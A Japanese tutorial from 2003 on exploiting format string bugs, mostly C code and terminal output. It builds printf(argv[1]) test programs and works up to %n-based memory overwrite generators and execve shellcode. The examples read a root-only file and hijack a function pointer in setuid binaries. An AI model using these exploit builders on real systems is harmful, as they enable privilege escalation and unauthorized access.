[ Format Bugs ] ここには Format Bugs に関する私の実験の結果を記述しています。あくまで 実験なのでここに書かれてあることが必ずしも正しいとは限らない。もし間違 いなどがあればメールなどで指摘してくれると有難いです。動作確認は Linux(x86) + gcc で行っています。 >> [ 0x01 ] +布石1+ スタックアドレスの参照 例えば printf(argv[1]);のように文字列を直接printfの引数にしたとする。通常 こういうプログラムを書く場合はprintf("%s", argv[1]);と書くべきだろう。しか し動作としてはどちらも問題無く動く。しかし実は前者はとても重大なバグを 持っていることになるのだ。例を示そう。 target.c ------------------------------------------------------------------------------ #include int main(int argc, char *argv[]) { int data = 0x15; printf("data = %p\n", data); printf("---------------------\n"); printf(argv[1]); printf("\n"); printf("data = %p\n", data); return 0; } ------------------------------------------------------------------------------ [kenji@localhost formatbug]$ gcc target.c -o target [kenji@localhost formatbug]$ ./target aaaa data = 0x15 --------------------- aaaa data = 0x15 ※本来ならint型データを出力するのに%pを使うべきでは無いがここでは便 宜上使わせてもらいます。もし気になるなら'%d'もしくは'%x'に書き換え てください。以下すべての文に'%p'を使用してます。 見た限り特に問題ないように見える。もちろん通常の文字列を渡すのならば何 も問題無い。では次はちょっと変わった文字列を渡してみる。 [kenji@localhost formatbug]$ ./target aaaa%p data = 0x15 --------------------- aaaa0x15 data = 0x15 [kenji@localhost formatbug]$ さて、どうだろうか。%p という文字列がフォーマット文字列として処理され てしまった。そしてなんとdataの値が出力されてしまった。これは %x を使用 しても同じ値が得られる。 [kenji@localhost formatbug]$ ./target aaaa%x data = 0x15 --------------------- aaaa15 data = 0x15 [kenji@localhost formatbug]$ では何故こういうことが起こるのか? 通常 %p, %x といったフォーマット文字列を使用する場合は printfの引数と して値を渡さなければならない。つまり正確な使用法は printf("%p", a); printf("%x", num); だ。このように引数に渡した変数のデータを参照するのだ。しかし、 printf(argv[1]);のように渡しているとprintf("sssss%p");と解釈される。つ まり %p が参照すべき変数が無い。するとスタックのトップのアドレスに存在 するデータがその対象になってしまうのだ。 >> [ 0x02 ] +布石2+ データを書きかえる 参照することはできた。では実際どうやってデータを上書きするのか。それを 知るためにはもう一度 printf関数 について学ぶ必要がある。 printfに関する詳細は↓だ。 http://www.linux.or.jp/JM/html/LDP_man-pages/man3/printf.3.html 変換指定文字というものがある。%c, %f, %d, %s, %p, %i, %n, などだ。よく 使うものは %c, %d, %s などだろうか。 データの書き換えには %n を使用する。 %n の説明は これまでに出力された文字数が int * (またはそれと等価な)ポインタ引数で 示された整数に保存される。 引数の変換は行わない。 と書かれてある。実際にサンプルプログラムを書いてみよう。 test2.c ------------------------------------------------------------------------------ main() { int q; printf("AAAAAAA%n",&q); printf("\n"); printf("%d\n", q); } ------------------------------------------------------------------------------ [kenji@localhost formatbug]$ gcc test2.c [kenji@localhost formatbug]$ ./a.out AAAAAAA 7 [kenji@localhost formatbug]$ %n の前に 'A' が7つ出力されている。よって q には 7 が代入されている。 では実際に上書きしてみる。 %p はスタックを参照できた。ではこれを %n にするとどうだろうか。実際に target の引数に渡してみる。 [kenji@localhost formatbug]$ ./target sssss%n data = 0x15 --------------------- セグメンテーション違反です [kenji@localhost formatbug]$ %n はアドレスを引数に渡さなければならない。この場合 data の値 0x15 が アドレス(ポインタ)と解釈され 0x15 のアドレスにある値を上書きしようとし てしまったのでセグメンテーション違反となってしまった。 では、スタックトップを data の値ではなく data のアドレスにしてみよう。 target.c をこのように書き換える。 target2.c ------------------------------------------------------------------------------ #include int main(int argc, char *argv[]) { int data = 0x15; printf("data = %p\n", data); printf("&data = %p\n", &data); /* 追加 */ printf("---------------------\n"); printf(argv[1]); printf("\n"); printf("data = %p\n", data); return 0; } ------------------------------------------------------------------------------ [kenji@localhost formatbug]$ gcc target2.c -o target2 [kenji@localhost formatbug]$ ./target2 sssss%p data = 0x15 &data = 0xbffff778 --------------------- sssss0xbffff778 data = 0x15 [kenji@localhost formatbug]$ [kenji@localhost formatbug]$ ./target2 sssss%n data = 0x15 &data = 0xbffff778 --------------------- sssss data = 0x5 [kenji@localhost formatbug]$ vi target2.c 見事 data の値が変更されてしまった。 %p はprintfの引数に変数を渡さなければスタックトップの値を参照する。%n も引数に変数を渡してなければ同じことが起こるのだが(ただし%nはポインタ を引数に渡さなければならない)今度は %n なのでその値(%nの場合は正確には ポインタが指し示す値)を上書きしてしまうのだ。これによりプログラム内部 のデータを変更することができてしまう。%nの前にある文字列の長さを変更す ればどのような値にでも変更可能である。(しかし、実際にはある程度の上限 を越えると変更できなくなる。※後述) [kenji@localhost formatbug]$ ./target2 sssssvv%n data = 0x15 &data = 0xbffff778 --------------------- sssssvv data = 0x7 [kenji@localhost formatbug]$ ./target2 sssssvveee%n data = 0x15 &data = 0xbffff778 --------------------- sssssvveee data = 0xa [kenji@localhost formatbug]$ >> [ 0x03 ] +布石3+ データを書きかえる 其の弐 target2-2.c ------------------------------------------------------------------------------ #include int main(int argc, char *argv[]) { int data = 0x15; printf("data = %p(%p)\n", data, &data); printf("----start----\n"); printf(" %p\n %p\n %p\n %p\n %p\n %p\n %p\n %p\n %p\n %p\n"); printf("-----end-----\n"); printf(argv[1]); printf("\n"); printf("data = %p\n", data); return 0; } ------------------------------------------------------------------------------ [kenji@localhost formatbug]$ gcc target2-2.c -o target2-2 [kenji@localhost formatbug]$ ./target2-2 AAAAA%p data = 0x15(0xbffff768) ----start---- 0x15 0xbffff768 0x80495a0 0x8049688 0xbffff778 0x4005016c 0x40145884 0x4000bcd0 0x15 0xbffff7a8 -----end----- AAAAA0x15 data = 0x15 [kenji@localhost formatbug]$ スタックトップから10個のデータを出力する。残念ながらスタックトップは 0x15 という値であり dataのアドレス(0xbffff768) では無いようだ。スタッ クトップが dataのアドレスの場合は dataの値を書き換えることができたがこ れではセグメンテーション違反になってしまうのは前回説明した。 [kenji@localhost formatbug]$ ./target2-2 AAAAA%n data = 0x15(0xbffff768) ----start---- 0x15 0xbffff768 0x80495a0 0x8049688 0xbffff778 0x4005016c 0x40145884 0x4000bcd0 0x15 0xbffff7a8 -----end----- セグメンテーション違反です [kenji@localhost formatbug]$ もちろんダメだ。しかしどうやら dataのアドレスはスタックトップから2番目 にあるということが分かる。 もう一度↓をみてみると http://www.linux.or.jp/JM/html/LDP_man-pages/man3/printf.3.html 「フォーマット文字列のフォーマット」という部分にどうやら興味深いことが 書かれてある。 `%' の代わりに `%m$'、`*'の代わりに `*m$' と書くことによって、 明示的 にどの引数を使用するかを指定することもできる。 「明示的にどの引数を使用するかを指定できる」 なるほど。では試してみよう。 `%' の代わりに `%m$' を使用して引数を指定する。 ※ $をエスケープしているのは環境変数扱いされないようにする為 [kenji@localhost formatbug]$ ./target2-2 AAAAA%2\$p data = 0x15(0xbffff768) ----start---- 0x15 0xbffff768 ←注目 0x80495a0 0x8049688 0xbffff778 0x4005016c 0x40145884 0x4000bcd0 0x15 0xbffff7a8 -----end----- AAAAA0xbffff768 data = 0x15 [kenji@localhost formatbug]$ [kenji@localhost formatbug]$ ./target2-2 AAAAA%3\$p data = 0x15(0xbffff768) ----start---- 0x15 0xbffff768 0x80495a0 ←注目 0x8049688 0xbffff778 0x4005016c 0x40145884 0x4000bcd0 0x15 0xbffff7a8 -----end----- AAAAA0x80495a0 data = 0x15 [kenji@localhost formatbug]$ 見事スタックトップから2番目3番目の値を参照することができた。2番目の値 が dataのアドレスだ。そして参照することができたということは... [kenji@localhost formatbug]$ ./target2-2 AAAAA%2\$n data = 0x15(0xbffff768) ----start---- 0x15 0xbffff768 0x80495a0 0x8049688 0xbffff778 0x4005016c 0x40145884 0x4000bcd0 0x15 0xbffff7a8 -----end----- AAAAA data = 0x5 [kenji@localhost formatbug]$ 書き換えることが出来るということである。 >> [ 0x04 ] 任意のデータを書きかえる さて、ここからが本番だ。そもそもスタックの中に書き換えたいデータのアド レスがあることは希だ。下記のようにスタックにdataのアドレスが存在しない 場合はどうすればいいだろうか。 target3.c ------------------------------------------------------------------------------ #include #include int main(int argc, char *argv[]) { int data = 0x15; char buf[8]; strncpy(buf, argv[1], 8 - 1); printf("data = %p\n", data); printf("----start----\n"); printf(" %p\n %p\n %p\n %p\n %p\n %p\n %p\n %p\n %p\n %p\n"); printf("-----end-----\n"); printf(argv[1]); printf("\n"); printf("data = %p\n", data); printf("&data = %p\n", &data); return 0; } ------------------------------------------------------------------------------ [kenji@localhost formatbug]$ gcc target3.c -o target3 [kenji@localhost formatbug]$ ./target3 AAAAAA%p data = 0x15 ----start---- 0x15 0x7 0x8049600 0x80496ec 0xbffff788 0x4005016c 0x41414141 0x40254141 0x15 0xbffff7b8 -----end----- AAAAAA0x15 data = 0x15 &data = 0xbffff778 [kenji@localhost formatbug]$ スタック上にdataへのアドレスが無くとも、例えばbuf配列のように引数をコ ピーしてくれる(つまりこちら側で値を決めることができる領域)が存在すれば 任意のデータを書き換えることが可能だ。 変数bufがどこに確保されているかが分かるだろうか。'A' = 0x41 だ。つまり スタックのトップから7番目にある。ここには引数をそのままコピーしてくれ るので好きなデータをいれることができる。好きなデータとは何か?例えば dataへのアドレスだ。 [kenji@localhost formatbug]$ ./target3 AAAAAA%7\$p data = 0x15 ----start---- 0x15 0x7 0x8049620 0x804970c 0xbffff788 0x4005016c 0x41414141 0x40254141 0x15 0xbffff7b8 -----end----- AAAAAA0x41414141 data = 0x15 &data = 0xbffff778 [kenji@localhost formatbug]$ bufの値を参照できる。このbufの値にdataへのアドレスを置いて %n で data を書き換える exploit を書く。 exploit.c ------------------------------------------------------------------------------ #include #include int main(int argc, char *argv[]) { unsigned long addr; unsigned char buf[64]; char fmtstr[] = "%7$n"; int i; addr = strtoul(argv[1], NULL, 16); /* reverse byte order (on a little endian system) */ for(i=0; i < sizeof(unsigned long); i++) buf[i] = (addr >> (i * 8) & 0xFF); memcpy(buf+4, fmtstr, strlen(fmtstr)); buf[strlen(buf)] = '\0'; printf("%s", buf); return 0; } ------------------------------------------------------------------------------ [kenji@localhost formatbug]$ gcc -Wall exploit.c -o exploit [kenji@localhost formatbug]$ ./target3 `./exploit 0xbffff778` data = 0x15 ----start---- 0x15 0x7 0x8049620 0x804970c 0xbffff778 0x4005016c 0xbffff778 ←注目 0x40243725 0x15 0xbffff7a8 -----end----- ?????????????????? data = 0x15 &data = 0xbffff768 [kenji@localhost formatbug]$ あれ?どうやら引数に渡す文字列の長さでアドレスが消費されたようだ。data へのアドレスが 0xbffff768 に変わっている。引数を変更してもう一度やって みる。 [kenji@localhost formatbug]$ ./target3 `./exploit 0xbffff768` data = 0x15 ----start---- 0x15 0x7 0x8049620 0x804970c 0xbffff778 0x4005016c 0xbffff768 0x40243725 0x15 0xbffff7a8 -----end----- ????????????????? data = 0x4 &data = 0xbffff768 [kenji@localhost formatbug]$ 見事 dataの値を書き換えることができた。 おお!やったー!!.....ん?ちょっと待てよ。確かにデータの書き換えに成 功したが、これじゃ 0x4 という値にしか出来ないじゃないか。何故ならアド レスの長さは 4bytes だからだ。その後に '%n' を持って来るんなら確かに 0x4 にしか書き換えられない。しかしこの問題は簡単に解決する。渡す引数の 文字列を適当に長くしてやればいいだけだ。 0xbffff768AAAAAAAAAAAAAAAAAAAAAAAAAAAAA%7$n ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ というようにexploitに任意の長さの文字列を付加した後に%nを追加するよう に書き換えればいいのだ。ついでにスタックトップから何番目かという数字 (ここでは 7 だ)も変更できるようにしよう。 exploit2.c ------------------------------------------------------------------------------ #include #include int main(int argc, char *argv[]) { unsigned long addr; unsigned int size; unsigned int offset; unsigned char buf[512]; char fmtstr[8]; int i; if(argc < 4){ perror("no argvs"); exit(-1); } addr = strtoul(argv[1], NULL, 16); size = atoi(argv[2]); offset = atoi(argv[3]); /* reverse byte order (on a little endian system) */ for(i=0; i < sizeof(unsigned long); i++) buf[i] = (addr >> (i * 8) & 0xFF); for(; i < size; i++) buf[i] = 'A'; sprintf(fmtstr, "%%%d$n", offset); memcpy(buf+i, fmtstr, strlen(fmtstr)); buf[strlen(buf)] = '\0'; printf("%s", buf); return 0; } ------------------------------------------------------------------------------ [kenji@localhost formatbug]$ gcc -Wall exploit2.c -o exploit2 [kenji@localhost formatbug]$ ./target3 `./exploit2 0xbffff768 51 7` data = 0x15 ----start---- 0x15 0x7 0x8049620 0x804970c 0xbffff758 0x4005016c 0xbffff768 0x40414141 0x15 0xbffff788 -----end----- ???????AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@ data = 0x15 &data = 0xbffff748 [kenji@localhost formatbug]$ [kenji@localhost formatbug]$ ./target3 `./exploit2 0xbffff748 51 7` data = 0x15 ----start---- 0x15 0x7 0x8049620 0x804970c 0xbffff758 0x4005016c 0xbffff748 0x40414141 0x15 0xbffff788 -----end----- ???????AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@ data = 0x33 &data = 0xbffff748 [kenji@localhost formatbug]$ これで 0x4 以上なら任意の値を代入することができるだろう。 と思えるが 実は違うのだ。もちろん exploit2.c のbuf配列が 512 bytesだからそれ以上 は入れられないから、というようなことではない。それは配列を増やせばいい だけの話だ。 実は引数から受け取れる文字列の長さの上限というのは決まっているのだ。 test7.c ------------------------------------------------------------------------------ main(int argc, char *argv[]) { long i = 0; long num = atol(argv[1]); while(i++ < num) printf("A"); } ------------------------------------------------------------------------------ test8.c ------------------------------------------------------------------------------ main(int argc, char *argv[]) { } ------------------------------------------------------------------------------ [kenji@localhost formatbug]$ gcc test7.c -o test7 [kenji@localhost formatbug]$ gcc test8.c -o test8 [kenji@localhost formatbug]$ ./test8 `./test7 999` [kenji@localhost formatbug]$ ./test8 `./test7 9999` [kenji@localhost formatbug]$ ./test8 `./test7 99999` [kenji@localhost formatbug]$ ./test8 `./test7 999999` bash: ./test8: 引数リストが長すぎます [kenji@localhost formatbug]$ int型の数値範囲の上限は 32767 だ。99999 がOKなんだから十分じゃないかと 思われるかもしれないが、我々は最終的にシェルコードを実行したいのだ。つ まりポインタを変更したい。ポインタは 4bytes だ。そのためには 0xffffffff までOKでなければならない。しかし実際には 0xffff くらいまで が限界らしい。さてどうしたものか。 >> [ 0x05 ] 4bytesサイズを書きかえる 「引数として渡す文字列の長さには上限がある」 これを解決するためには、引数として渡す文字列は短いが実際にprintfが(正 確には'%n'が)判断する文字列としては長くないといけないような文字列を渡 さなければならない。これは言葉にすると難しいが実際はそんなに難しいこと ではない。printfのフィールド幅を使う。例えばこうだ。 [kenji@localhost formatbug]$ ./target AAA%50p data = 0x15 --------------------- AAA 0x15 data = 0x15 [kenji@localhost formatbug]$ 引数の文字列は 7bytes なのに対し 出力される文字列は 53bytes となる。 '%p'を50桁使って出力したことになるからである。 さてこれで解決したように見えるが実はダメだ。 [kenji@localhost formatbug]$ ./target AAA%9999999p data = 0x15 --------------------- セグメンテーション違反です 残念ながら 9999999 でセグメンテーション違反になってしまう。これでもや はり 0xffffffff にはおよばない。どうやらフォーマット文字列のフィールド 幅指定にも上限があるようです。 「フォーマット文字列のフィールド幅指定にも上限がある」 4bytes を一気に書き込もうとするからダメなのだ。例えば 1byte づつ書き込 むようにするというのはどうだろうか? target3-2.c ------------------------------------------------------------------------------ #include #include int main(int argc, char *argv[]) { int data = 0x15; char buf[32]; strncpy(buf, argv[1], 48 - 1); printf("data = %p\n", data); printf("----start----\n"); printf(" %p\n %p\n %p\n %p\n %p\n %p\n %p\n %p\n %p\n %p\n %p\n %p\n %p\n %p\n %p\n"); printf("-----end-----\n"); printf(argv[1]); printf("\n"); printf("data = %p\n", data); printf("&data = %p\n", &data); return 0; } ------------------------------------------------------------------------------ [kenji@localhost formatbug]$ gcc target3-2.c -o target3-2 [kenji@localhost formatbug]$ まずbuf配列の中にアドレスを4つ(計16bytes)をいれます。 例えば bffff768 に変更したいデータがある場合。 ----start---- 0x15 0x7 0x8049620 0x804970c 0xbffff758 0x4005016c 0xbffff768 ←ここから↓がbuf配列の領域 0xbffff769 0xbffff770 0xbffff771 ←ここまでにアドレスをいれる ↓buf配列の領域は続く。 -----end----- というようにします。つまり (A,B,C,D = 0x10〜0xff bytes の長さ、'-'は減算) [address(16bytes)] Aの文字列 %7$n B-Aの文字列 %8$n C-Bの文字列 %9$n D-Cの文字列 %10$n という文字列をbufに渡してやれば 1bytes づつ書き換えることができるだろ うと思われる。この方法だとフォーマット指定上限を越えることは無いだろう。 しかし、さらに問題はおきる。この場合 0x87654321 という値はちゃんと書き 込むことができるだろう。何故なら 0x21 < 0x43 < 0x65 < 0x87 だからだ。 つまりは上の例で示すと A < B < C < D でなければならないのだ。最初にAの バイト数が書き込まれる。そのあとBのバイト数を書き込むわけだが'%n'はこ れまでにあらわれたバイト数を書き出す。つまり減算はできないのだ。(これ までにあらわれたバイト数を減算するなんてことはできない)もしAが0x25だっ たならば B > 0x25 でなければダメなのだ。なので 0x87654321 はOKだが 0x12345678 はダメなのだ。 ()で括られた数は文字列の長さを示す。(0x43-0x40) = 0x03個の文字列 <0x87654321の場合> [address(16bytes)] (0x21)%7$n(0x43-0x21)%8$n(0x65-0x43)%9$n(0x87-0x65)%10$n <0x12345678の場合> [address(16bytes)] (0x78)%7$n(0x56-0x78)%8$n(0x34-0x56)%9$n(0x12-0x34)%10$n ^^^^^^^^^ ^^^^^^^^^ ^^^^^^^^^ ^で示しているところのように(負の数)個の文字列というのはありえない。 さてどうするか。これは実は結構簡単に解決する。0x100を加算するのだ。 0x87654321の場合メモリには [.... .... .... ....] ('.'は1bytesを表す) 0x21 < 0x43 < 0x65 < 0x87 と格納される。 0x12345678の場合 [.... .... .... ....] ('.'は1bytesを表す) 0x78 > 0x56 となるので '%n' の仕様上保存できない。そこで0x100を加算する。 [address(16bytes)] A+0x100の文字列 %7$n B-A+0x100の文字列 %8$n C-B+0x100の文字列 %9$n D-C+0x100の文字列 %10$n という文字列をbufに渡してやれば良い。以下に例を示す。 現在の文字列の長さ(格納されるべき値)を L とする。 A = 0x78 A + 0x100 = 0x0178 をaddress1(addr1)に格納する。L = 0x178 addr1 [.... .... .... ....] ('.'は1bytesを表す) 0x78 0x01 B = 0x56 L + (B - A + 0x100) = 0x256 をaddress2(addr2)に格納する。L = 0x256 addr2 [.... .... .... ....] ('.'は1bytesを表す) 0x78 0x56 0x02 C = 0x34 L + (C - B + 0x100) = 0x334 をaddress3(addr3)に格納する。L = 0x334 addr3 [.... .... .... ....] ('.'は1bytesを表す) 0x78 0x56 0x34 0x03 D = 0x12 L + (D - C + 0x100) = 0x412 をaddress4(adddr4)に格納する。L = 0x412 addr4 [.... .... .... ....] [.... ('.'は1bytesを表す) 0x78 0x56 0x34 0x12 0x04 addr1から見事 0x12345678 が保存されてしまった。もちろん L は常に加算し 続けている。0x100を加算することによってこの問題は解決するのだ。これで ポインタのアドレスを書き換えることが可能であることが分かった。 exploit4.c ------------------------------------------------------------------------------ #include #include #include int main(int argc, char *argv[]){ char buf[256]; char fmtstr[256]; unsigned int value[4]; unsigned long addr, val; unsigned int offset, i; if(argc < 4){ fprintf(stderr, "Usage: %s \n", argv[0]); exit(-1); } addr = strtoul(argv[1], NULL, 16); val = strtoul(argv[2], NULL, 16); offset = atoi(argv[3]); for(i = 0; i < 4; i++){ value[i] = (val >> i * 8) & 0xff; *(unsigned int *)(buf+ i * 4) = addr + i; } sprintf(fmtstr, "%%%dx%%%d$n%%%dx%%%d$n%%%dx%%%d$n%%%dx%%%d$n", value[0] - 16 + 0x100, offset, value[1] - value[0] + 0x100, offset+1, value[2] - value[1] + 0x100, offset+2, value[3] - value[2] + 0x100, offset+3); memcpy(buf + 16, fmtstr, strlen(fmtstr)); buf[16 + strlen(fmtstr)] = '\0'; printf("%s", buf); return 0; } ------------------------------------------------------------------------------ [kenji@localhost formatbug]$ gcc -Wall exploit4.c -o exploit4 [kenji@localhost formatbug]$ [kenji@localhost formatbug]$ ./target3-2 `./exploit4 0xbffff738 0x12345432 9` data = 0x15 ----start---- 0x15 0x2f 0x804816c 0x804964c 0x1 0x40129c2e 0x8049640 0x40014f24 0xbffff738 ← int型data変数 4bytesの 1bytes目 へのアドレス 0xbffff739 ← int型data変数 4bytesの 2bytes目 へのアドレス 0xbffff73a ← int型data変数 4bytesの 3bytes目 へのアドレス 0xbffff73b ← int型data変数 4bytesの 4bytes目 へのアドレス 0x30393225 0x24392578 0x3932256e -----end----- ??????????????????????????????? ???????????????????????????????? ????????????????? ????????????????????????????????????????? data = 0x12345432 &data = 0xbffff738 [kenji@localhost formatbug]$ >> [ 0x05 ] ポインタを書きかえる さてここまで来たらもう恐いものなしです。0xffffffff にできるならポイン タだって書きかえることが可能でしょう。試しにファイルポインタを書き換え てrootでしか閲覧できないファイルを読み込んでみましょう。 target4.c ------------------------------------------------------------------------------ #include #include int main(int argc, char *argv[]) { FILE *fp; char *file; char str[256]; char buf[32]; file = "myfile.txt"; strncpy(buf, argv[1], 32 - 1); printf("&argv[2] = %p\n", argv[2]); printf("file = %s\n", file); printf("&file = %p\n", &file); printf("----start----\n"); printf(" %p\n %p\n %p\n %p\n %p\n %p\n %p\n %p\n %p\n %p\n %p\n %p\n %p\n"); printf("-----end-----\n"); printf(argv[1]); printf("\n\n"); printf("file = %s\n", file); printf("&file = %p\n", &file); printf("\n\n"); if((fp = fopen(file, "r")) == NULL){ fprintf(stderr, "don't open error\n"); exit(1); } fgets(str, 256, fp); printf("%s\n", str); fclose(fp); return 0; } ------------------------------------------------------------------------------ [kenji@localhost formatbug]$ cat myfile.txt this is myfile.txt [kenji@localhost formatbug]$ [kenji@localhost formatbug]$ su Password: [root@localhost formatbug]# gcc target4.c -o target4 [root@localhost formatbug]# chmod 4755 target4 [root@localhost formatbug]# cat rootfile.txt this is rootfile.txt [root@localhost formatbug]# [root@localhost formatbug]# ls -l -rw-r--r-- 1 kenji kenji Oct 23 19:41 myfile.txt -r-------- 1 root root Oct 23 19:58 rootfile.txt -rwsr-xr-x 1 root root Oct 23 19:44 target4 -rw-r--r-- 1 kenji kenji Oct 23 19:44 target4.c -rwxr-xr-x 1 kenji kenji Oct 23 19:44 exploit4 -rw-r--r-- 1 kenji kenji Oct 23 19:44 exploit4.c [root@localhost formatbug]# [root@localhost formatbug]# exit exit [kenji@localhost formatbug]$ [kenji@localhost formatbug]$ ./target4 `./exploit4 0xbffff744 0xbffff93f 8` rootfile.txt &argv[2] = 0xbffff93f file = myfile.txt &file = 0xbffff734 ----start---- 0xbffff734 0x1f 0xbffff668 0x1008529 0x40014938 0x400154b0 0x4002f82c 0xbffff744 0xbffff745 0xbffff746 0xbffff747 0x33303325 0x24382578 -----end----- ?????????????????????????????????????? file = myfile.txt &file = 0xbffff734 this is myfile.txt. [kenji@localhost formatbug]$ [kenji@localhost formatbug]$ ./target4 `./exploit4 0xbffff734 0xbffff93f 8` rootfile.txt &argv[2] = 0xbffff93f file = myfile.txt &file = 0xbffff734 ----start---- 0xbffff734 0x1f 0xbffff668 0x1008529 0x40014938 0x400154b0 0x4002f82c 0xbffff734 0xbffff735 0xbffff736 0xbffff737 0x33303325 0x24382578 -----end----- ??????????????????????????????? file = rootfile.txt &file = 0xbffff734 this is rootfile.txt. [kenji@localhost formatbug]$ 見事 rootfile.txt を読むことができました。 >> [ 0x06 ] シェルコード実行! まずは root のみでしか実行できないプログラムを作る。 sPasswd.c ------------------------------------------------------------------------------ #include int main(void) { printf("秘密のパスワード\n"); return 0; } ------------------------------------------------------------------------------ [root@localhost formatbug]# gcc sPasswd.c -o sPasswd [root@localhost formatbug]# [root@localhost formatbug]# chmod 100 sPasswd [root@localhost formatbug]# ls -l sPasswd ---x------ 1 root root 13370 Oct 11 22:39 sPasswd [root@localhost formatbug]# target5.c ------------------------------------------------------------------------------ #include #include int goodfunc(void) { printf("\n"); printf("Hi, I'm a good func.\n"); return 0; } int main(int argc, char *argv[]) { int (*funcptr)(void); char str[256]; char buf[36]; strncpy(buf, argv[1], 36 - 1); funcptr = (int (*)(void))goodfunc; printf("&argv[2] = %p\n", argv[2]); printf("funcptr = %p\n", funcptr); printf("----start----\n"); printf(" %p\n %p\n %p\n %p\n %p\n %p\n %p\n %p\n %p\n %p\n %p\n %p \n %p \n"); printf("-----end-----\n"); printf("\n\n"); printf(argv[1]); printf("\n\n"); printf("funcptr = %p\n", funcptr); (void)(*funcptr)(); return 0; } ------------------------------------------------------------------------------ [root@localhost formatbug]# gcc target5.c -o target5 [root@localhost formatbug]# chmod 4755 target5 [root@localhost formatbug]# ls -l target5 -rwsr-xr-x 1 root root 13938 Nov 3 01:59 target5 [root@localhost formatbug]# setuidをたてる。 shell.c ------------------------------------------------------------------------------ #include #include #include char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0" "\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8" "\x40\xcd\x80\xe8\xdc\xff\xff\xffsPasswd"; int main(void){ printf("%s", shellcode); return 0; } ------------------------------------------------------------------------------ [kenji@localhost formatbug]$ gcc shell.c -o shell [kenji@localhost formatbug]$ ./target5 `./exploit4 0xbffff718 0xbffff91e 8` `./shell` &argv[2] = 0xbffff91e funcptr = 0x8048430 ----start---- 0x8048430 0x23 0xbffff648 0x40145884 0x40014938 0x400154b0 0x4002f82c 0xbffff718 0xbffff719 0xbffff71a 0xbffff71b 0x30373225 0x24382578 -----end----- ???????????????????????? ????????????????? funcptr = 0xbffff91e 秘密のパスワード [kenji@localhost formatbug]$ >> [ 0x07 ] 最後に 今回は時間かかりました。結構難しかったぞ format bugs 。はたしてこのレ ポートを書き終えることができるのか?と疑問に思ったほどでした。しかも終っ てみると1000行を越えている。ああ、苦労したな。(笑) ああ、ホント疲れたわ。もう当分セキュリティ関係はしないと思われます。も うお腹いっぱいです。 参考サイト http://strychnine.s.tripod.com/ End. written by kenji aiko 2003/11/02 2003/11/03 記述誤りを修正、説明の追加 Copyright (C) 2003 kenji aiko All Rights Reserved